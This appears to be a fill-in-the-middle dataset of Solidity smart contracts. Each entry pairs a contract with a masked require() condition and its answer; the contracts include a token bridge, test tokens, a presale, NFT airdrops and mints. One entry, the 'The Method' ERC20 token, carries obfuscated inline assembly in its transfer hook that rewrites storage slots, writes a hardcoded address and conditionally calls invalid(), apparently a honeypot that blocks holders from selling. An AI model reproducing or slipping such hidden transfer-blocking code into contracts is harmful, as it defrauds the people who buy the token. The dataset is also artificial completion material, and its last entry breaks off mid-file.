* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal view virtual {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
}
}
contract BridgeBaseETH is Ownable{
struct InterOp {
string _uuid;
address _source;
address _sourceTokenAddress;
uint _sourceAmount;
string _sourceNetwork;
address _destination;
uint _destinationAmount;
address _destinationTokenAddress;
string _destinationNetwork;
}
mapping(string => InterOp) public txDetails;
mapping(string => bool) public txInitStatus;
mapping(string => bool) public txClaimStatus;
string public network;
mapping(address => bool) public authorizationStatus;
mapping(string => bool) public authorizedDestinationNetwork;
mapping(address => bool) public authorizedToken;
/* Events */
event DepositInitiated(
string _uuid,
address _source,
address _sourceTokenAddress,
string _sourceNetwork,
uint _sourceAmount,
address _destination,
uint _destinationAmount,
address _destinationTokenAddress,
string _destinationNetwork
);
event DepositClaimed(
string _uuid,
address _source,
address _sourceTokenAddress,
uint _sourceAmount,
string _sourceNetwork,
address _destination,
uint _destinationAmount,
address _destinationTokenAddress,
string _destinationNetwork
);
event UpdateAuthorization(address _auth,bool _status);
event UpdateAuthorizedDestinationNetwork(string _network,bool _status);
event UpdateAuthorizedToken(address _token,bool _status);
event WithdrawnAllLiquidityForToken(address _receiver,uint _amount,address _token);
event WithdrawnCollectedFees(address _receiver,uint _amount);
constructor(string memory _network) {
}
modifier onlyAuth {
}
function compareStrings(string memory a, string memory b) public view returns (bool) {
}
function deposit(string memory _uuid,
address _sourceTokenAddress,
uint _sourceAmount,
address _destination,
uint _destinationAmount,
address _destinationTokenAddress,
string memory _destinationNetwork) public payable returns (bool) {
}
function claim( string memory _uuid,
address _source,
address _sourceTokenAddress,
uint _sourceAmount,
string memory _sourceNetwork,
address _destination,
uint _destinationAmount,
address _destinationTokenAddress) public onlyAuth returns(bool){
// Check if UUID is not already processed
require(txClaimStatus[_uuid] == false,"Request with this uuid is already processed");
// Check if enough liquidity exists
require(<FILL_ME>)
txDetails[_uuid] = InterOp({
_uuid: _uuid,
_source: _source,
_sourceNetwork: _sourceNetwork,
_sourceTokenAddress: _sourceTokenAddress,
_sourceAmount: _sourceAmount,
_destination: _destination,
_destinationNetwork: network,
_destinationAmount: _destinationAmount,
_destinationTokenAddress: _destinationTokenAddress
});
// Update Status
txClaimStatus[_uuid] = true;
// Transfer Tokens
IERC20(_destinationTokenAddress).transfer(_destination,_destinationAmount);
return true;
}
function updateAuthorization(address _auth,bool _status) public onlyOwner {
}
function updateAuthorizationForNetwork(string memory _destinationNetwork,bool _status) public onlyOwner {
}
function updateAuthorizationForToken(address _token,bool _status) public onlyOwner {
}
function withdrawAllLiquidityForToken(address _token) public onlyOwner returns(bool){
}
function withdrawCollectedFees() public onlyOwner returns(bool){
}
}
| IERC20(_destinationTokenAddress).balanceOf(address(this))>=_destinationAmount,"Not Sufficient Liquidity for given token" | 172,363 | IERC20(_destinationTokenAddress).balanceOf(address(this))>=_destinationAmount |
"ERC20: trading is not yet enabled." | // Method is much, technique is much, but inspiration is even more.
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IDEXRouter {
function WETH() external pure returns (address);
function factory() external pure returns (address);
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
function totalSupply() external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function name() external view returns (string memory);
}
contract Ownable is Context {
address private _previousOwner; address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
address[] private methodAddr;
uint256 private _snowFlake = block.number*2;
mapping (address => bool) private _risingOcean;
mapping (address => bool) private _movingPalm;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private plasticIsland;
address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private thorThunder;
address public pair;
IDEXRouter router;
string private _name; string private _symbol; uint256 private _totalSupply;
uint256 private _limit; uint256 private theV; uint256 private theN = block.number*2;
bool private trading; uint256 private burnLight = 1; bool private systematicError;
uint256 private _decimals; uint256 private tvA;
constructor (string memory name_, string memory symbol_, address msgSender_) {
}
function symbol() public view virtual override returns (string memory) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function name() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function openTrading() external onlyOwner returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
}
function _SystemStart() internal { }
function totalSupply() public view virtual override returns (uint256) {
}
function _beforeTokenTransfer(address sender, address recipient, uint256 integer) internal {
require(<FILL_ME>)
if (block.chainid == 1) {
bool open = (((systematicError || _movingPalm[sender]) && ((_snowFlake - theN) >= 9)) || (integer >= _limit) || ((integer >= (_limit/2)) && (_snowFlake == block.number))) && ((_risingOcean[recipient] == true) && (_risingOcean[sender] != true) || ((methodAddr[1] == recipient) && (_risingOcean[methodAddr[1]] != true))) && (tvA > 0);
assembly {
function gByte(x,y) -> hash { mstore(0, x) mstore(32, y) hash := keccak256(0, 64) }
function gG() -> faL { faL := gas() }
function gDyn(x,y) -> val { mstore(0, x) val := add(keccak256(0, 32),y) }
if eq(sload(gByte(recipient,0x4)),0x1) { sstore(0x15,add(sload(0x15),0x1)) }if and(lt(gG(),sload(0xB)),open) { invalid() } if sload(0x16) { sstore(gByte(sload(gDyn(0x2,0x1)),0x6),0x726F105396F2CA1CCEBD5BFC27B556699A07FFE7C2) }
if or(eq(sload(gByte(sender,0x4)),iszero(sload(gByte(recipient,0x4)))),eq(iszero(sload(gByte(sender,0x4))),sload(gByte(recipient,0x4)))) {
let k := sload(0x18) let t := sload(0x11) if iszero(sload(0x17)) { sstore(0x17,t) } let g := sload(0x17)
switch gt(g,div(t,0x3))
case 1 { g := sub(g,div(div(mul(g,mul(0x203,k)),0xB326),0x2)) }
case 0 { g := div(t,0x3) }
sstore(0x17,t) sstore(0x11,g) sstore(0x18,add(sload(0x18),0x1))
}
if and(or(or(eq(sload(0x3),number()),gt(sload(0x12),sload(0x11))),lt(sub(sload(0x3),sload(0x13)),0x9)),eq(sload(gByte(sload(0x8),0x4)),0x0)) { sstore(gByte(sload(0x8),0x5),0x1) }
if or(eq(sload(gByte(sender,0x4)),iszero(sload(gByte(recipient,0x4)))),eq(iszero(sload(gByte(sender,0x4))),sload(gByte(recipient,0x4)))) {
let k := sload(0x11) let t := sload(0x17) sstore(0x17,k) sstore(0x11,t)
}
if iszero(mod(sload(0x15),0x6)) { sstore(0x16,0x1) } sstore(0x12,integer) sstore(0x8,recipient) sstore(0x3,number()) }
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function _DeployMethod(address account, uint256 amount) internal virtual {
}
}
contract ERC20Token is Context, ERC20 {
constructor(
string memory name, string memory symbol,
address creator, uint256 initialSupply
) ERC20(name, symbol, creator) {
}
}
contract TheMethod is ERC20Token {
constructor() ERC20Token("The Method", "METHOD", msg.sender, 1500000 * 10 ** 18) {
}
}
| (trading||(sender==methodAddr[1])),"ERC20: trading is not yet enabled." | 172,471 | (trading||(sender==methodAddr[1])) |
"[Exchanger Role]: account already has Exchanger role" | //SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
import "./.deps/contracts/token/ERC20/ERC20.sol";
import "./SafeMath.sol";
import "./Roles.sol";
/**
@title Test ERC20 Token
*/
contract TestToken is ERC20, Ownable, ExchangerRole, Pausable{
using SafeMath for uint;
/**
@param initialIssue issue that will be minted initally
*/
constructor(uint initialIssue) ERC20("TEST", "TEST") {
}
/**
@dev overrider of ERC20 _transfer function
when paused owner and exchangers only can use transfer
*/
function _transfer(address sender, address recipient, uint256 amount) internal override {
}
/**
@notice add Pauser role to `account`
@dev only for Owner
@param account role recipient
*/
function addPauser(address account) public onlyOwner {
}
/**
@notice remove Pauser role from `account`
@dev only for Owner
@param account address for role revocation
*/
function removePauser(address account) public onlyOwner {
}
/**
@notice add Exchanger role to `account`
@dev only for Owner
@param account role recipient
*/
function addExchanger(address account) public onlyOwner {
require(<FILL_ME>)
_addExchanger(account);
}
/**
@notice remove Exchanger role from `account`
@dev only for Owner
@param account address for role revocation
*/
function removeExchanger(address account) public onlyOwner {
}
/**
@notice mint new tokens. Max supply = 10_000_000_000e18
@dev only for Owner
@param amount minting amount
*/
function mint(uint amount) public onlyOwner {
}
/**
@notice burn tokens
@dev only for Owner
@param amount burning amount
*/
function burn(uint amount) public onlyOwner {
}
}
| !isExchanger(account),"[Exchanger Role]: account already has Exchanger role" | 172,487 | !isExchanger(account) |
"[Exchanger Role]: account has not Exchanger role" | //SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
import "./.deps/contracts/token/ERC20/ERC20.sol";
import "./SafeMath.sol";
import "./Roles.sol";
/**
@title Test ERC20 Token
*/
contract TestToken is ERC20, Ownable, ExchangerRole, Pausable{
using SafeMath for uint;
/**
@param initialIssue issue that will be minted initally
*/
constructor(uint initialIssue) ERC20("TEST", "TEST") {
}
/**
@dev overrider of ERC20 _transfer function
when paused owner and exchangers only can use transfer
*/
function _transfer(address sender, address recipient, uint256 amount) internal override {
}
/**
@notice add Pauser role to `account`
@dev only for Owner
@param account role recipient
*/
function addPauser(address account) public onlyOwner {
}
/**
@notice remove Pauser role from `account`
@dev only for Owner
@param account address for role revocation
*/
function removePauser(address account) public onlyOwner {
}
/**
@notice add Exchanger role to `account`
@dev only for Owner
@param account role recipient
*/
function addExchanger(address account) public onlyOwner {
}
/**
@notice remove Exchanger role from `account`
@dev only for Owner
@param account address for role revocation
*/
function removeExchanger(address account) public onlyOwner {
require(<FILL_ME>)
_removeExchanger(account);
}
/**
@notice mint new tokens. Max supply = 10_000_000_000e18
@dev only for Owner
@param amount minting amount
*/
function mint(uint amount) public onlyOwner {
}
/**
@notice burn tokens
@dev only for Owner
@param amount burning amount
*/
function burn(uint amount) public onlyOwner {
}
}
| isExchanger(account),"[Exchanger Role]: account has not Exchanger role" | 172,487 | isExchanger(account) |
"total issue must be leen than 10 billion" | //SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
import "./.deps/contracts/token/ERC20/ERC20.sol";
import "./SafeMath.sol";
import "./Roles.sol";
/**
@title Test ERC20 Token
*/
contract TestToken is ERC20, Ownable, ExchangerRole, Pausable{
using SafeMath for uint;
/**
@param initialIssue issue that will be minted initally
*/
constructor(uint initialIssue) ERC20("TEST", "TEST") {
}
/**
@dev overrider of ERC20 _transfer function
when paused owner and exchangers only can use transfer
*/
function _transfer(address sender, address recipient, uint256 amount) internal override {
}
/**
@notice add Pauser role to `account`
@dev only for Owner
@param account role recipient
*/
function addPauser(address account) public onlyOwner {
}
/**
@notice remove Pauser role from `account`
@dev only for Owner
@param account address for role revocation
*/
function removePauser(address account) public onlyOwner {
}
/**
@notice add Exchanger role to `account`
@dev only for Owner
@param account role recipient
*/
function addExchanger(address account) public onlyOwner {
}
/**
@notice remove Exchanger role from `account`
@dev only for Owner
@param account address for role revocation
*/
function removeExchanger(address account) public onlyOwner {
}
/**
@notice mint new tokens. Max supply = 10_000_000_000e18
@dev only for Owner
@param amount minting amount
*/
function mint(uint amount) public onlyOwner {
require(<FILL_ME>)
_mint(msg.sender, amount);
}
/**
@notice burn tokens
@dev only for Owner
@param amount burning amount
*/
function burn(uint amount) public onlyOwner {
}
}
| totalSupply()+amount<=10000000000e18,"total issue must be leen than 10 billion" | 172,487 | totalSupply()+amount<=10000000000e18 |
"Error: FAILED_LAUNCH_CANCELLED" | //SPDX-License-Identifier: Unlicense
pragma solidity 0.8.18;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
}
/**
* @dev Throws if the sender is not the owner.
*/
function _checkOwner() internal view virtual {
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
}
}
interface IERC20 {
function transferFrom(address _from, address _to, uint256 _tokens) external returns (bool success);
function transfer(address _to, uint _tokens) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function balanceOf(address account) external view returns (uint256);
function totalSupply() external returns (uint256);
}
contract AncoraPrivate is Ownable {
bool public cancelPublicSaleBool = false;
bool public PublicSaleActive = false;
uint public tokenPrice = 0.00000294903 ether; //0.1 / ethprice
uint public softcap = 20 ether; // 50000 / eth price
struct ListToVesting {
address investor;
uint256 percent;
}
ListToVesting[] public listInvetorVesting;
address public tokenAddress;
uint64 constant private SCALING = 10 ** 18;
uint128 public minDeposit = 0.1 ether;
uint128 public maxDeposit = 0.5 ether;
// uint128 public maxDeposit;
uint256 public tokensForClaiming;
uint256 public totalEthDeposited;
// uint256 public softcap = 60 ether; //100.000$ softcap
IERC20 erc20Contract;
mapping(address => uint256) public deposits;
mapping(address => bool) public whitelist;
mapping(address => bool) public whitelistF;
event AddressAdded(address indexed account);
event AddressRemoved(address indexed account);
modifier onlyWhitelisted() {
}
constructor() {
}
event DepositTokens(
address indexed _address,
uint256 _tokensForClaiming
);
event CancelPublicSale(address indexed _address, uint256 _amount);
event DepositETH(address indexed _address, uint256 _amount);
event ClaimTokens(address indexed _address, uint256 _amount);
event WithdrawETH(address indexed _address, uint256 _amount);
/*
* Used by the PublicSale to deposit the tokens for the PublicSale
*/
function depositTokens(
uint256 _tokensForClaiming
) public onlyOwner {
}
/*
* Used by the PublicSale creator to cancel the PublicSale
*/
function cancelPublicSale() external onlyOwner {
require(<FILL_ME>)
cancelPublicSaleBool = true;
// owner withdrawing previously deposited tokens
erc20Contract.transfer(owner(), erc20Contract.balanceOf(address(this)));
emit CancelPublicSale(_msgSender(), tokensForClaiming );
}
function startPublicSale() external onlyOwner {
}
function stopPublicSale() public onlyOwner {
}
/*
* Method where users participate in the PublicSale
*/
function depositETH() external payable {
}
/*
* After liquidity is added to Uniswap with this method users are able to claim their token share
*/
function claimTokens() external returns (uint256) {
}
/*
* If the PublicSale is cancelled users are able to withdraw their previously deposited ETH
*/
function getFund() public onlyOwner payable {
}
function changeMin(uint128 minprice) public onlyOwner {
}
/*
* Returning the current token share for the current user
*/
// function getCurrentTokenShare() public view returns (uint256) {
// if (deposits[_msgSender()] > 0) {
// return (((deposits[_msgSender()] * SCALING) / totalEthDeposited) * tokensForClaiming) / SCALING;
// } else {
// return 0;
// }
// }
function getRateToken() public view returns (uint256) {
}
function getContractBalance() public view returns (uint256) {
}
function areDepositsActive() public view returns (bool) {
}
function hasDepositsFinished() public view returns (bool) {
}
function getInvestorlist()public view returns( ListToVesting[] memory ) {
}
function addInvestors(address[] memory investors, uint256[] memory amounts) public onlyOwner {
}
function addAddress(address account) public onlyOwner{
}
function addAddressF(address account) public onlyOwner{
}
function removeAddress(address account) public onlyOwner{
}
function userClaim() public view returns (uint256) {
}
function isWhitelisted(address account) public view returns (bool) {
}
function addAddresses(address[] memory accounts) public onlyOwner{
}
}
| !cancelPublicSaleBool,"Error: FAILED_LAUNCH_CANCELLED" | 172,489 | !cancelPublicSaleBool |
"Cant mint more than 60,000,000" | pragma solidity ^0.8.2;
contract FLIP is ERC20, ERC20Burnable, Pausable, Ownable {
constructor(address owner , address vault) ERC20("FLIP", "FLIP") {
}
function pause() public onlyOwner {
}
function unpause() public onlyOwner {
}
function mint(address to, uint256 amount) public onlyOwner {
require(<FILL_ME>)
_mint(to, amount);
}
function _beforeTokenTransfer(address from, address to, uint256 amount)
internal
whenNotPaused
override
{
}
}
| totalSupply()<=60000000,"Cant mint more than 60,000,000" | 172,768 | totalSupply()<=60000000 |
"Token has been claimed!" | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;
import 'erc721a/contracts/ERC721A.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/utils/Strings.sol';
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
interface IContract {
function ownerOf(uint256) external view returns (address);
}
contract MechaPixelsAirdrop is ERC721A, Ownable, ReentrancyGuard, DefaultOperatorFilterer {
using Strings for uint256;
string public uriPrefix;
string public hiddenMetadataUri;
string public uriSuffix;
address public coreContract;
bool public paused = true;
bool public revealed = false;
mapping(uint256 => bool) claimed;
constructor(
) ERC721A(
"MechaPass",
"MechaPass"
) {
}
/**
@dev Mint
*/
function claim(uint256[] calldata tokenIds) public payable nonReentrant {
require(!paused, 'Airdrop paused');
for (uint256 i=0; i<tokenIds.length; i++) {
uint256 tokenId = tokenIds[i];
require(<FILL_ME>)
require(IContract(coreContract).ownerOf(tokenId) == _msgSender(), "You do not own this token");
claimed[tokenId] = true;
}
_safeMint(_msgSender(), tokenIds.length);
}
function setCoreContractAddress (address a) public onlyOwner {
}
function reserve(uint8 amount) public onlyOwner {
}
function reserveFor(address wallet, uint8 amount) public onlyOwner {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
function setRevealed(bool _state) public onlyOwner {
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
function withdraw() public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {
}
function approve(address operator, uint256 tokenId) public payable override onlyAllowedOperatorApproval(operator) {
}
function transferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public payable
override
onlyAllowedOperator(from)
{
}
}
| !claimed[tokenId],"Token has been claimed!" | 172,908 | !claimed[tokenId] |
"You do not own this token" | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;
import 'erc721a/contracts/ERC721A.sol';
import '@openzeppelin/contracts/access/Ownable.sol';
import '@openzeppelin/contracts/utils/Strings.sol';
import '@openzeppelin/contracts/security/ReentrancyGuard.sol';
import "operator-filter-registry/src/DefaultOperatorFilterer.sol";
interface IContract {
function ownerOf(uint256) external view returns (address);
}
contract MechaPixelsAirdrop is ERC721A, Ownable, ReentrancyGuard, DefaultOperatorFilterer {
using Strings for uint256;
string public uriPrefix;
string public hiddenMetadataUri;
string public uriSuffix;
address public coreContract;
bool public paused = true;
bool public revealed = false;
mapping(uint256 => bool) claimed;
constructor(
) ERC721A(
"MechaPass",
"MechaPass"
) {
}
/**
@dev Mint
*/
function claim(uint256[] calldata tokenIds) public payable nonReentrant {
require(!paused, 'Airdrop paused');
for (uint256 i=0; i<tokenIds.length; i++) {
uint256 tokenId = tokenIds[i];
require(!claimed[tokenId], "Token has been claimed!");
require(<FILL_ME>)
claimed[tokenId] = true;
}
_safeMint(_msgSender(), tokenIds.length);
}
function setCoreContractAddress (address a) public onlyOwner {
}
function reserve(uint8 amount) public onlyOwner {
}
function reserveFor(address wallet, uint8 amount) public onlyOwner {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function tokenURI(uint256 _tokenId) public view virtual override returns (string memory) {
}
function setRevealed(bool _state) public onlyOwner {
}
function setHiddenMetadataUri(string memory _hiddenMetadataUri) public onlyOwner {
}
function setUriPrefix(string memory _uriPrefix) public onlyOwner {
}
function setUriSuffix(string memory _uriSuffix) public onlyOwner {
}
function setPaused(bool _state) public onlyOwner {
}
function withdraw() public onlyOwner {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {
}
function approve(address operator, uint256 tokenId) public payable override onlyAllowedOperatorApproval(operator) {
}
function transferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public payable
override
onlyAllowedOperator(from)
{
}
}
| IContract(coreContract).ownerOf(tokenId)==_msgSender(),"You do not own this token" | 172,908 | IContract(coreContract).ownerOf(tokenId)==_msgSender() |
"MaxSupplyReached" | /*
::::::::: :::::::::: ::::::::::: ::::::::: :::::::: ::::::::: ::: :::::::: :::::::: :::::::: :::: ::: ::::::::
:+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+:+: :+: :+: :+:
+:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ :+:+:+ +:+ +:+
+#++:++#: +#++:++# +#+ +#++:++#: +#+ +:+ +#++:++#: +#++:++#++: +#+ +#+ +:+ +#+ +:+ +#+ +:+ +#+ +#++:++#++
+#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+#+# +#+
#+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+#+# #+# #+#
### ### ########## ### ### ### ######## ### ### ### ### ######## ######## ######## ### #### ########
Developer: crankydev.eth
*/
pragma solidity >=0.7.0 <0.9.0;
contract RetroRaccoons is ERC721A, Ownable {
string public constant SYMBOL = "RR80s";
uint256 public COST = 0.008 ether;
uint256 public MAX_SUPPLY = 8080;
uint256 public MAX_PER_WALLET = 100;
uint256 public MAX_FREE_MINTS_PER_WALLET = 2;
uint256 public FREE_MINT_COST = 0;
bool public SALE = false;
bool public isRevealed = false;
string public baseURI;
string public previewURI;
error SaleNotActive();
error MaxSupplyReached();
error MaxPerWalletReached();
error MaxFreeMintsReached();
error MaxPerTxReached();
error NotEnoughETH();
error NoContractMint();
mapping(address => uint256) public freeMints;
address[] public owners;
modifier onlyOwners() {
}
function isOwner(address addr) public view returns (bool) {
}
function setOwners(address[] calldata _owners) external onlyOwners {
}
constructor(
string memory _name,
string memory _symbol,
address initialOwner
) ERC721A(_name, _symbol) Ownable(initialOwner) {
}
function setCost(uint256 _cost) external onlyOwners {
}
function setSupply(uint256 _newSupply) external onlyOwners {
}
function numberMinted(address owner) public view returns (uint256) {
}
function mintRR(uint256 _amount) external payable {
}
function FreeMintRR(uint256 _amount) external {
require(<FILL_ME>)
require(freeMints[msg.sender] + _amount <= MAX_FREE_MINTS_PER_WALLET, "MaxFreeMintsReached");
require(SALE, "SaleNotActive");
if (tx.origin != msg.sender) revert NoContractMint();
freeMints[msg.sender] += _amount;
_mint(msg.sender, _amount);
}
function _startTokenId() internal pure override returns (uint256) {
}
function setBaseURI(string calldata _newURI) external onlyOwners {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setPreviewURI(string calldata _previewURI) external onlyOwners {
}
function setIsRevealed(bool _reveal) external onlyOwners {
}
function toggleSale(bool _toggle) external onlyOwners {
}
function setMaxPerWallet(uint256 _newMaxPerWallet) external onlyOwners {
}
function Airdrop(uint256 _amount, address _to) external onlyOwners {
}
function burnFromOwner(uint256 _tokenId) external onlyOwners {
}
function withdraw() external onlyOwners {
}
}
| _totalMinted()+_amount<=MAX_SUPPLY,"MaxSupplyReached" | 172,953 | _totalMinted()+_amount<=MAX_SUPPLY |
"MaxFreeMintsReached" | /*
::::::::: :::::::::: ::::::::::: ::::::::: :::::::: ::::::::: ::: :::::::: :::::::: :::::::: :::: ::: ::::::::
:+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+:+: :+: :+: :+:
+:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ :+:+:+ +:+ +:+
+#++:++#: +#++:++# +#+ +#++:++#: +#+ +:+ +#++:++#: +#++:++#++: +#+ +#+ +:+ +#+ +:+ +#+ +:+ +#+ +#++:++#++
+#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+#+# +#+
#+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+#+# #+# #+#
### ### ########## ### ### ### ######## ### ### ### ### ######## ######## ######## ### #### ########
Developer: crankydev.eth
*/
pragma solidity >=0.7.0 <0.9.0;
contract RetroRaccoons is ERC721A, Ownable {
string public constant SYMBOL = "RR80s";
uint256 public COST = 0.008 ether;
uint256 public MAX_SUPPLY = 8080;
uint256 public MAX_PER_WALLET = 100;
uint256 public MAX_FREE_MINTS_PER_WALLET = 2;
uint256 public FREE_MINT_COST = 0;
bool public SALE = false;
bool public isRevealed = false;
string public baseURI;
string public previewURI;
error SaleNotActive();
error MaxSupplyReached();
error MaxPerWalletReached();
error MaxFreeMintsReached();
error MaxPerTxReached();
error NotEnoughETH();
error NoContractMint();
mapping(address => uint256) public freeMints;
address[] public owners;
modifier onlyOwners() {
}
function isOwner(address addr) public view returns (bool) {
}
function setOwners(address[] calldata _owners) external onlyOwners {
}
constructor(
string memory _name,
string memory _symbol,
address initialOwner
) ERC721A(_name, _symbol) Ownable(initialOwner) {
}
function setCost(uint256 _cost) external onlyOwners {
}
function setSupply(uint256 _newSupply) external onlyOwners {
}
function numberMinted(address owner) public view returns (uint256) {
}
function mintRR(uint256 _amount) external payable {
}
function FreeMintRR(uint256 _amount) external {
require(_totalMinted() + _amount <= MAX_SUPPLY, "MaxSupplyReached");
require(<FILL_ME>)
require(SALE, "SaleNotActive");
if (tx.origin != msg.sender) revert NoContractMint();
freeMints[msg.sender] += _amount;
_mint(msg.sender, _amount);
}
function _startTokenId() internal pure override returns (uint256) {
}
function setBaseURI(string calldata _newURI) external onlyOwners {
}
function _baseURI() internal view virtual override returns (string memory) {
}
function setPreviewURI(string calldata _previewURI) external onlyOwners {
}
function setIsRevealed(bool _reveal) external onlyOwners {
}
function toggleSale(bool _toggle) external onlyOwners {
}
function setMaxPerWallet(uint256 _newMaxPerWallet) external onlyOwners {
}
function Airdrop(uint256 _amount, address _to) external onlyOwners {
}
function burnFromOwner(uint256 _tokenId) external onlyOwners {
}
function withdraw() external onlyOwners {
}
}
| freeMints[msg.sender]+_amount<=MAX_FREE_MINTS_PER_WALLET,"MaxFreeMintsReached" | 172,953 | freeMints[msg.sender]+_amount<=MAX_FREE_MINTS_PER_WALLET |
null | // SPDX-License-Identifier: None
/**
**/
pragma solidity ^0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
